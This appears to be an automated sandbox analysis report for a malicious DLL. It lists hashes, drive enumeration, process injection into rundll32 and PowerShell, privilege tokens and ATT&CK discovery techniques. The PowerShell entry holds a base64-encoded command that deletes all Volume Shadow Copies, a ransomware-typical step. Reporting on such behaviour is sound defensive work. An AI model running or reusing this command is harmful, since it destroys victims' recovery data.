578e1b00157447f99716b646af6b0c33d0f6c32257a19376d6cc9d003ff0fba1

General

Target

578e1b00157447f99716b646af6b0c33d0f6c32257a19376d6cc9d003ff0fba1.dll
Size

164KB
MD5

722e15d85827d3ac13e56e8108688012
SHA1

cab935a24d7d0ea7e8d93851f7ea94ab9bccfc34
SHA256

578e1b00157447f99716b646af6b0c33d0f6c32257a19376d6cc9d003ff0fba1
SHA512

59e24cf313db4413f44f16a8276d072f43402e718c25e1d00e81ddc69a1937473cfd1902c320bc9175d75a0d43a53ab3e971b8447ec1cf9cf9aa3aa536464273

Score

6^/10

Malware Config

Signatures

Enumerates connected drives 3 TTPs 24 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

rundll32.exe

description	ioc	process
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\F:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

rundll32.exepowershell.exe

pid process

1624 rundll32.exe
960 powershell.exe

pid	process
1624	rundll32.exe
960	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	960	powershell.exe
Token: SeBackupPrivilege	928	vssvc.exe
Token: SeRestorePrivilege	928	vssvc.exe
Token: SeAuditPrivilege	928	vssvc.exe

Suspicious use of WriteProcessMemory 11 IoCs

Processes:

rundll32.exerundll32.exe

description	pid	process	target process
PID 1744 wrote to memory of 1624	1744	rundll32.exe	rundll32.exe
PID 1744 wrote to memory of 1624	1744	rundll32.exe	rundll32.exe
PID 1744 wrote to memory of 1624	1744	rundll32.exe	rundll32.exe
PID 1744 wrote to memory of 1624	1744	rundll32.exe	rundll32.exe
PID 1744 wrote to memory of 1624	1744	rundll32.exe	rundll32.exe
PID 1744 wrote to memory of 1624	1744	rundll32.exe	rundll32.exe
PID 1744 wrote to memory of 1624	1744	rundll32.exe	rundll32.exe
PID 1624 wrote to memory of 960	1624	rundll32.exe	powershell.exe
PID 1624 wrote to memory of 960	1624	rundll32.exe	powershell.exe
PID 1624 wrote to memory of 960	1624	rundll32.exe	powershell.exe
PID 1624 wrote to memory of 960	1624	rundll32.exe	powershell.exe

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\578e1b00157447f99716b646af6b0c33d0f6c32257a19376d6cc9d003ff0fba1.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:1744

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\578e1b00157447f99716b646af6b0c33d0f6c32257a19376d6cc9d003ff0fba1.dll,#1
2⤵
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1624

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:960

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:928

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

Peripheral Device Discovery

1

T1120

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

memory/960-55-0x000007FEFBE61000-0x000007FEFBE63000-memory.dmp

Filesize
8KB

Download
memory/960-57-0x0000000002660000-0x0000000002762000-memory.dmp

Filesize
1.0MB

Download
memory/960-58-0x0000000002762000-0x0000000002764000-memory.dmp

Filesize
8KB

Download
memory/960-59-0x0000000002764000-0x0000000002767000-memory.dmp

Filesize
12KB

Download
memory/960-56-0x000007FEF2CD0000-0x000007FEF382D000-memory.dmp

Filesize
11.4MB

Download
memory/960-60-0x000000000276B000-0x000000000278A000-memory.dmp

Filesize
124KB

Download
memory/1624-54-0x0000000075761000-0x0000000075763000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads